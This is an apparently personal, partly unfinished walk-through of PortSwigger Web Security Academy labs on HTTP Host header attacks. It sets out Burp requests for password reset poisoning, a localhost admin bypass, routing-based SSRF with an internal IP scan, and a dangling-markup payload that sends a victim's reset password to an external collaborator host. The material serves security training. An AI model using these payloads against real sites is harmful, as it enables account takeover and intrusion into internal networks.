IN PROGRESS: WebSecurityAcademy (PortSwigger) – HTTP Host header attacks

Walk-through of the HTTP Host header attacks lab on PortSwigger Web Security Academy.

Apprentice – Basic password reset poisoning

See Password reset poisoning (PortSwigger).

  • Click on My account.
  • Click on Forgot password.
  • Enter username carlos.
  • Intercept requests and click on Submit.
  • Change the Host header to the Burp Collaborator URL.
POST /forgot-password HTTP/1.1
Host: <BURP COLLABORATOR ID>.oastify.com
...

csrf=fHqVicfz5YQFbz35o6oSCqCxS2XTwojm&username=carlos

The Burp Collaborator receives a request.

GET /forgot-password?temp-forgot-password-token=SMv7T9dWHMeaNG5BY68RuyVbriLFkyGP HTTP/1.1

Access the URL and change carlos’ password.

https://<LAB ID>.web-security-academy.net/forgot-password?temp-forgot-password-token=SMv7T9dWHMeaNG5BY68RuyVbriLFkyGP

Log in with user carlos and the new password to solve the lab.

Apprentice – Host header authentication bypass

To solve the lab, access the admin panel and delete Carlos’s account.

Enter /robots.txt in the URL.

User-agent: *
Disallow: /admin

Enter /admin in the URL. The server responds with “Admin interface only available to local users”.

GET /admin HTTP/1.1
Host: <LAB ID>.web-security-academy.net
...
HTTP/1.1 401 Unauthorized
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 2310

Change the Host header to localhost.

GET /admin HTTP/1.1
Host: localhost
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache
Connection: close
Content-Length: 2845
...
<a href="/admin/delete?username=carlos">Delete</a>
...

Delete user carlos to solve the lab.

GET /admin/delete?username=carlos HTTP/1.1
Host: localhost

Practitioner – Web cache poisoning via ambiguous requests

Practitioner – Routing-based SSRF

Practitioner – SSRF via flawed request parsing

This lab is vulnerable to routing-based SSRF due to its flawed parsing of the request’s intended host. You can exploit this to access an insecure intranet admin panel located at an internal IP address. To solve the lab, access the internal admin panel located in the 192.168.0.0/24 range, then delete the user carlos.

Send the Home page request to the Repeater module.

GET / HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]

Try to change the Host header.

GET / HTTP/2
Host: whatever
[...]
HTTP/2 403 Forbidden
Content-Type: text/html; charset=utf-8
Content-Length: 109

<html><head><title>Client Error: Forbidden</title></head><body><h1>Client Error: Forbidden</h1></body></html>

Take the original request and add the full URL in the first line. Notice that the server responds with 200 OK.

GET https://<LAB ID>.web-security-academy.net/ HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 10563
[...]

Change the Host header.

GET https://<LAB ID>.web-security-academy.net/ HTTP/2
Host: whatever
[...]
HTTP/2 504 Gateway Timeout
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 148

<html><head><title>Server Error: Gateway Timeout</title></head><body><h1>Server Error: Gateway Timeout (3) connecting to whatever</h1></body></html>

Insert the Collaborator ID to the Host header.

GET https://<LAB ID>.web-security-academy.net/ HTTP/2
Host: <COLLABORATOR ID>.oastify.com
[...]
HTTP/2 200 OK
Server: Burp Collaborator https://burpcollaborator.net/
X-Collaborator-Version: 4
Content-Type: text/html
Content-Length: 55

<html><body><COLLABORATOR ID></body></html>

Send the request to the Intruder module. Add “/admin”, scan the network to find the IP address.

❗ Uncheck Update Host header to match target.

GET https://<LAB ID>.web-security-academy.net/admin HTTP/2
Host: 192.168.0.§1§
[...]

In the Payloads tab, set Payload type to Numbers, from 1 to 254, step 1, max fraction digits to 0. Start the attack.

We find that IP 192.168.0143 responds with 200 OK.

GET https://<LAB ID>.web-security-academy.net/admin HTTP/2
Host: 192.168.0.143
[...]
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache
X-Frame-Options: SAMEORIGIN
Content-Length: 2936
[...]

<form style='margin-top: 1em' class='login-form' action='/admin/delete' method='POST'>
    <input required type="hidden" name="csrf" value="HIvnxIwrisc6TJIP7HdExlaR5eD2OzGu">
    <label>Username</label>
    <input required type='text' name='username'>
    <button class='button' type='submit'>Delete user</button>
</form>

From the Repeater tab, send the request to delete user carlos.

GET https://<LAB ID>.web-security-academy.net/admin/delete?csrf=HIvnxIwrisc6TJIP7HdExlaR5eD2OzGu&username=carlos HTTP/2
Host: 192.168.0.143
[...]
HTTP/2 302 Found
Location: /
X-Frame-Options: SAMEORIGIN
Content-Length: 0

The lab should now be solved.

Practitioner – Host validation bypass via connection state attack

Expert – Password reset poisoning via dangling markup

See Password reset poisoning (PortSwigger) and Dangling markup injection (PortSwigger).

  • Click on My account.
  • Click on Forgot password.
  • Enter username wiener and click Submit.
  • Click on Go to exploit server and on Email client.
<p>Hello!</p><p>Please <a href='https://<LAB ID>.web-security-academy.net/login'>click here</a> to login with your new password: IcbIoNdwvE</p><p>Thanks,<br/>Support team</p><i>This email has been scanned by the MacCarthy Email Security service</i>

Send the /forgot-password request to the Repeater module. Fuzzing with the domain name in the Host header results in a server error.

POST /forgot-password HTTP/1.1
Host: whatever
...

csrf=vyUO9HZiUBqaunMvhMoYe0OvWhZ992VB&username=wiener
HTTP/1.1 504 Gateway Timeout
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 148

<html><head><title>Server Error: Gateway Timeout</title></head><body><h1>Server Error: Gateway Timeout (3) connecting to whatever</h1></body></html>

However, adding any port to the Host header and still reaches the site as normal.

POST /forgot-password HTTP/1.1
Host: <LAB ID>.web-security-academy.net:1234
...

csrf=vyUO9HZiUBqaunMvhMoYe0OvWhZ992VB&username=wiener
HTTP/1.1 200 OK

Change the username to carlos, complete the HTML code in the Host HTTP header and send the request.

POST /forgot-password HTTP/1.1
Host: <LAB ID>.web-security-academy.net:1234/oops'></a><img src="https://<BURP COLLABORATOR ID>.oastify.com?
...

csrf=vyUO9HZiUBqaunMvhMoYe0OvWhZ992VB&username=carlos

Other possible payload:

Host: <LAB ID>.web-security-academy.net:'<a href="https://<BURP COLLABORATOR ID>.oastify.com?

The Burp Collaborator receives a request containing the password reset token.

GET ?/login'>click+here</a>+to+login+with+your+new+password:+QxcfsdscVW</p><p>Thanks,<br/>Support+team</p><i>This+email+has+been+scanned+by+the+MacCarthy+Email+Security+service</i> HTTP/1.1

Login with credentials carlos/QxcfsdscVW.